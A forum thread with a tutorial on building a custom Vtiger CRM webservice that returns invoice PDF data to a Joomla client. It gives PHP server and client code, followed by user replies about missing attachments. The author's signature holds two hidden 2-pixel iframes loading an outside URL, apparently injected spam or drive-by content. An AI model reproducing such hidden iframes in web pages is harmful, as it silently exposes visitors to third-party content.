Howto create a Custom WebService (GetPDFdata)

How To Create A New Webservice in Vtiger (GetPDFdata)

Instead of just showing the basic steps of just creating a custom webservice. We will add a new webservice to Vtiger and also see what to do on the client side.

The customer portal's approach to allow a customer to view his invoices in pdf format is to create a pdf file on the Vtiger's server hard disk and then download this file to the customer's computer.

In this new webservice we have a different approach :
We get the data of the pdf in a buffer. Then we send this buffer to the webservice client (in our case Joomla). Joomla sends this buffer to the customer's browser.

All constructive comments are of course welcome.

To add the webservice GetPDFdata in Vtiger you need to do the following :

3 steps on server side (Vtiger's server)

Step 1

Insert the entries for the new service in the appropriate tables.
Just run the provided queries to do it.
(see attached files)
Step 2

Copy the file GetPDFdata.php in include/Webservices
(see attached files)

Step 3 (if you use Vtiger's originals files)

At the end of CreatePDF.php in module's folder

Replace
else {
	$pdf->Output('Invoice.pdf','D'); //added file name to make it work in IE, also forces the download giving the user the option to save
	exit();
}

By
elseif($purpose == 'webservice')
{
	global $PDFBuffer;		
	$log->debug("Switched to buffer. Purpose = ". $purpose);
	$PDFBuffer = $pdf->Output('','S'); // S means send the pdf output in buffer instead of file

}
else
{
	$pdf->Output('Invoice.pdf','D'); //added file name to make it work in IE, also forces the download giving the user the option to save
	exit();
}
Step3 (if you use CRM-NOW PDF Configurator)

At the end of CreatePDF.php in module's folder

Replace
else {

createpdffile ($_REQUEST[record],'print');

}
by
else 
{


	if ($purpose != "webservice"){$purpose = "print";}

	createpdffile ($_REQUEST[record], $purpose);

}


Add this at the end of file pdfcreator.php
elseif($purpose == 'webservice')
	{
		global $PDFBuffer;		
		$log->debug("Switched to buffer. Purpose = ". $purpose);
		$PDFBuffer = $pdf->Output('','S'); // S means send the pdf output in buffer instead of file

	}

2 steps on client's side (could be for example a Joomla's server)

Step 1 connect to Vtiger using vtwsclib

Step 2 Invoke the custom webservice
function display($documentid) //documentid in ws format
	{

		$returndata = getPDF($documentid);



		if(is_array($returndata) && ! empty($returndata))
		{
			$pdf_data = base64_decode($returndata['0']['pdf_data']);
			send_to_browser($pdf_data);
		}
		else
		{
			$message = "We currently have a problem. Please retry later.";
		}


	}
function getPDF($documentid) 
	{

        if($this->vtlogin == false)
        {
        	return false;
	}

		$response = $this->vtclient->doInvoke('getpdfdata', array('id' => $documentid), 'POST');

		    if($response) 
		    {
			$return_value = $response;
		    }
		    else
		    {
			$wasError= $this->vtclient->lastError();
			if($wasError) 
			{
				echo "<br>". $wasError['code'] . ':' . $wasError['message'] . "<br>"; //TODO remove after debug
			}	

		    	$return_value = false;
		    }
		return $return_value;

	}
function send_to_browser($pdf_data)
	{
		//Header('Content-Type: application/pdf');
		//header('Content-Disposition: attachment; filename="invoice.pdf"');

		// fix for IE catching or PHP bug issue
		header("Pragma: public");
		header("Expires: 0"); // set expiration time
		header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
		// browser must download file from server instead of cache

		// force download dialog
		header("Content-Type: application/force-download");
		Header('Content-Type: application/pdf');
		header("Content-Type: application/download");

		// use the Content-Disposition header to supply a recommended filename and
		// force the browser to display the save dialog.
		header('Content-Disposition: attachment; filename="invoice.pdf"');

		/*
		The Content-transfer-encoding header should be binary, since the file will be read
		directly from the disk and the raw bytes passed to the downloading computer.
		The Content-length header is useful to set for downloads. The browser will be able to
		show a progress meter as a file downloads. The content-lenght can be determines by
		filesize function returns the size of a file.
		*/
		header("Content-Transfer-Encoding: binary");


		//Header('Content-Length: '.filesize($f));
		echo $pdf_data;
		exit;
	}

Note :
There is a parenthesis missing in vtwsclib-1.4.pdf page 14 after 'POST'

David V. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13

Comments

  • 29 Comments sorted by Votes Date Added
  • @david,

    thanks for the pointing out to the typo, i have re-upload the documentation with the fix. the download can be reached as pointed at vtwsclib - 1.4 released
  • @prasad,

    <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->

    thanks

    david v.
  • i think your attachment is missing the getpdfdata.php file for the /includes/ folder.
  • i'm a uploading the zip file again.

    now it contains getpdfdata.php

    thanks to kimbo and to winifred for pointing out the missing file.

    does anyone know how to modifiy the original post to reflect this change ?

    david v.
  • hi david,

    no problem for pointing out the missing file.
    in the meanwhile i was able to cook up my own webservice getpdfdata.php file, which i added as attachment.

    please note that this is only a quick workaround, and not really intended for real usage ( but it works <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) --> with a small modification to the display_pdf method (it returns the pdf-data string instead of a result array...) )

    kind regards,
    kim
  • the attachment didn't work <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
  • hi, this seems to be quite handy, we are get used to "how to's" not very complex, yours would be amazing.

    i wonder inf you can help, i'm on the verg of frustration, can even achive a simple login. any assistence would be extremely appreciated.

    i used wamp server, this way i have apache, mysql and php configured and running. i used the add on php 5.2.9 for compatibility reasons (you know more than i do that vtiger does not work under php 5.3.0)

    i installed vtiger 5.1.0 by using source files, enabled php_curl extension, installed pear http_client and zendframework-1.6.1-minimal, i wonder what am i missing, because when i tried a simple login, only "login failed" shows. prassad suggest me to give a try vtwsbrowser-1.0, and it does not work even if i use <!-- m --><a class="postlink" href="http://en.vtiger.com">http://en.vtiger.com</a><!-- m --> params, it just not connect. i extract it to root folder at wamp (www) nothing. i hope you can help me.
  • hi all,

    i cant see the attachment..

    any ideas why?
  • you can get the patch for vtiger crm 5.4 here:

    http://corebos.org/development/view.php?id=124

    and see it working in the "test code" here:

    https://github.com/tsolucio/coreboswsdevelopment
  • there doesn't appear to be any attachment on this page. am i missing something?
Sign In or Register to comment.